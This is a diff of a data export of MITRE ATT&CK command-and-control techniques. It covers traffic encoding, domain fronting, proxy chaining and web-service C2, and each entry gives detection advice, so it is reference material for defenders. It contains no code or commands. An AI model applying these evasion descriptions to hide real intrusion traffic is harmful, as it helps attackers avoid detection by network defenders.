",['command-and-control'],https://attack.mitre.org/techniques/T1001/001,mitre-attack,T1001.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132/002', 'external_id': 'T1132.002'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:39:50.117Z,2020-03-14T23:39:50.117Z,Non-Standard Encoding,"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",['command-and-control'],https://attack.mitre.org/techniques/T1132/002,mitre-attack,T1132.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132/001', 'external_id': 'T1132.001'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:36:52.095Z,2020-03-14T23:36:52.095Z,Standard Encoding,"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",['command-and-control'],https://attack.mitre.org/techniques/T1132/001,mitre-attack,T1132.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/004', 'external_id': 'T1090.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/481.html', 'external_id': 'CAPEC-481'}, {'source_name': 'Fifield Blocking Resistent Communication through domain fronting 2015', 'description': 'David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.', 'url': 'http://www.icir.org/vern/papers/meek-PETS-2015.pdf'}]",1.1,attack-pattern,attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:29:19.581Z,2020-09-16T19:30:54.226Z,Domain Fronting,"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, ""domainless"" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). -For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2,attack-pattern,['command-and-control'],2020-09-16T19:30:54.226Z,2020-03-14T23:29:19.581Z,"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",['Network Traffic: Network Traffic Content'],"['Matt Kelly, @breakersall']",,,"['Linux', 'macOS', 'Windows']",,CAPEC-481,https://capec.mitre.org/data/definitions/481.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1090.003', 'url': 'https://attack.mitre.org/techniques/T1090/003'}, {'source_name': 'Onion Routing', 'url': 'https://en.wikipedia.org/wiki/Onion_routing', 'description': 'Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.0,True,https://attack.mitre.org/techniques/T1090/003,mitre-attack,T1090.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Multi-hop Proxy,"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing) +For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",['command-and-control'],https://attack.mitre.org/techniques/T1090/004,mitre-attack,T1090.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Kelly, @breakersall']",['Network Traffic: Network Traffic Content'],,"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",True,,"['Linux', 'macOS', 'Windows']",,CAPEC-481,https://capec.mitre.org/data/definitions/481.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/003', 'external_id': 'T1090.003'}, {'source_name': 'Onion Routing', 'description': 'Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.', 'url': 'https://en.wikipedia.org/wiki/Onion_routing'}]",2.0,attack-pattern,attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:23:41.770Z,2020-10-21T17:54:28.280Z,Multi-hop Proxy,"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing) -In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.",attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d,attack-pattern,['command-and-control'],2020-10-21T17:54:28.280Z,2020-03-14T23:23:41.770Z,"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. +In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.",['command-and-control'],https://attack.mitre.org/techniques/T1090/003,mitre-attack,T1090.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. -In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1090.002', 'url': 'https://attack.mitre.org/techniques/T1090/002'}, {'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'source_name': 'Trend Micro APT Attack Tools'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1090/002,mitre-attack,T1090.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,External Proxy,"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. +In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",True,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/002', 'external_id': 'T1090.002'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:12:18.466Z,2020-03-27T17:50:37.411Z,External Proxy,"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. -External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3,attack-pattern,['command-and-control'],2020-03-27T17:50:37.411Z,2020-03-14T23:12:18.466Z,"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1090.001', 'url': 'https://attack.mitre.org/techniques/T1090/001'}, {'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'source_name': 'Trend Micro APT Attack Tools'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1090/001,mitre-attack,T1090.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Internal Proxy,"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. +External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",['command-and-control'],https://attack.mitre.org/techniques/T1090/002,mitre-attack,T1090.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/001', 'external_id': 'T1090.001'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:08:20.244Z,2020-03-15T00:46:26.598Z,Internal Proxy,"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. -By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755,attack-pattern,['command-and-control'],2020-03-15T00:46:26.598Z,2020-03-14T23:08:20.244Z,Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2),"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1102.003', 'url': 'https://attack.mitre.org/techniques/T1102/003'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1102/003,mitre-attack,T1102.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,One-Way Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. +By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",['command-and-control'],https://attack.mitre.org/techniques/T1090/001,mitre-attack,T1090.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2),True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/003', 'external_id': 'T1102.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:45:52.963Z,2020-03-26T23:26:10.109Z,One-Way Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. -Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8,attack-pattern,['command-and-control'],2020-03-26T23:26:10.109Z,2020-03-14T22:45:52.963Z,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1102.002', 'url': 'https://attack.mitre.org/techniques/T1102/002'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1102/002,mitre-attack,T1102.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Bidirectional Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. +Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",['command-and-control'],https://attack.mitre.org/techniques/T1102/003,mitre-attack,T1102.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/002', 'external_id': 'T1102.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:34:03.024Z,2020-03-26T23:15:47.861Z,Bidirectional Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. -Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4,attack-pattern,['command-and-control'],2020-03-26T23:15:47.861Z,2020-03-14T22:34:03.024Z,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1102.001', 'url': 'https://attack.mitre.org/techniques/T1102/001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1102/001,mitre-attack,T1102.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dead Drop Resolver,"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. +Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",['command-and-control'],https://attack.mitre.org/techniques/T1102/002,mitre-attack,T1102.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client 